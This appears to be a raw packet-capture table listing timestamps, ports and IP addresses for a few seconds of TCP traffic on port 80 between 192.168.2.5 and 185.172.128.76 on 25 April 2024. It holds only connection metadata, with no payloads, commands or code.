Apr 25, 2024 21:47:55.786550999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786602974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786638975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786652088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786679983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786736012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786772966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786824942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786874056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.786920071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.786967039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.787441015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.787487984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.787504911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.787544966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.787833929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.787853956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.787879944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.787893057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.787913084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.787952900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.787959099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.787997007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788027048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788068056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788180113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788192987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788223028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788235903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788247108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788249969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788280964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788284063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788292885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788319111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788460016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788506031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.788522959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.788567066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.789437056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.789484024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.792069912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.792114973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.792119980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.792150974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.792154074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.792186022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.792188883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.792222023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793520927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793548107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793585062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793589115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793611050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793622971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793632030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793644905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793675900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793688059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793716908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793730974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793757915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793761015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793778896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793806076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793817043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793859005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793863058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793899059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793906927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793946981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.793977022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.793991089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.794015884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.794028997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.794846058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.794907093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.794909000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.794934034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.794945955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.794971943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.794975996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795012951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795042992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795078039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795083046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795114040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795131922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795156002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795169115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795205116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795205116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795219898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795232058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795249939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795255899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795270920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795295000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795304060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795346022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795376062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795413017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795430899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795469046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795469999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795495987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795505047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795536995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.795541048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.795574903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796260118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796272993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796297073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796309948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796329975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796369076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796372890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796410084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796442986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796478987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796528101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796540976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796566010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796566963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796576977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796602964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796674013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796715975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796719074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796751022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796756029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796788931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796818018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796853065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796860933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796897888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796927929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796952009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.796974897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.796988010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797025919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797038078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797060966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797074080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797080994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797110081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797110081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797146082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797153950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797202110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797203064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797235966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797374964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797415972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797466993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797504902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797511101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797547102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797554970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797590017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797594070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797630072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797641039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797663927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797681093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797692060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797712088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797724962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797748089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797755957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797765970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797791004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797820091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797858000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797863960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797903061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797934055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797945976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797972918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.797977924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.797977924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798005104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798010111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798044920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798051119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798082113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798110008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798121929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798146963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798158884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798178911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798202038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798221111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798237085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798238993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798274040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798284054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798316956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798331976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798346996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798368931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798381090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798389912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798425913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798433065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798466921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798481941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798526049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798530102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798567057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798595905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798635960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798639059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798688889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798706055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798748970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798767090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798805952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798815012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798837900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798851967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798868895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798881054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798893929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798917055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798927069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798934937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.798970938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.798989058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799002886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799014091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799020052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799034119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799038887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799048901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799077034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799145937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799190044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799218893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799259901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799266100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799303055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799333096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799377918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799410105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799451113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799469948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799514055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799530983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799567938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799587011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799598932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799632072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799660921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799696922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799714088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799750090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799751997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799789906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799819946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799833059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799861908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799871922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799890995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799904108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799927950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799933910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799938917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.799968958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.799969912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.800007105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.800035954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.800070047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.800071001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.800120115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:56.165885925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:56.374042988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:56.510557890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:56.510620117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:56.600580931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:56.808412075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:56.936758041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:56.936850071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:57.651783943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:57.859764099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:57.986888885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:57.987029076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.352190018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.560009956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671528101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671565056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671581984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671595097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671638012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671639919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671638012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671688080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671691895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671701908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671725988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671750069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671750069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671806097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671818972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.671824932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671849012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.671875954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.726819038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.726922035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.726988077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727004051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727015972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727031946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727046013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727057934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727070093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727070093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727113008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727138996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727138996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727154970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727169991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727184057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727186918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727231026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727231026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727252007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727267027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727298021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727300882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727336884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727351904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727386951 CEST	80	49704	185.172.128.76	192.168.2.5
